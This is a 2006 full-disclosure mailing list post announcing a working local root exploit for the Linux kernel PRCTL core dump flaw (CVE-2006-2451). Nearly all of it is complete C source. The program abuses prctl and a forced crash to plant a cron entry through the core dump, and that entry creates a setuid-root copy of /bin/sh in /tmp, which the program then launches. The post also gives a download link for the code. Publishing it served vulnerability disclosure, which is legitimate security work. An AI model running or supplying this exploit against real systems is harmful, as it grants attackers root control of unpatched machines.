Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t Exploit ( BID 18874 / CVE-2006-2451 )

[Roman Medina-Heigl Hernandez <roman () rs-labs com>]

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Maybe this is obvious for Paul Starzetz (as well as many other people) but
full-disclosure is not really "full" without exploit code.

Working exploit attached. You can also download it from:
http://www.rs-labs.com/exploitsntools/rs_prctl_kernel.c

Greetz to !dSR ppl :-)

- --

Saludos,
- -Roman

PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB  29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
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/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna () aditel org>   (main PoC code)   */
/* - RoMaNSoFt <roman () rs-labs com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   
cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() { 
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -i");
}

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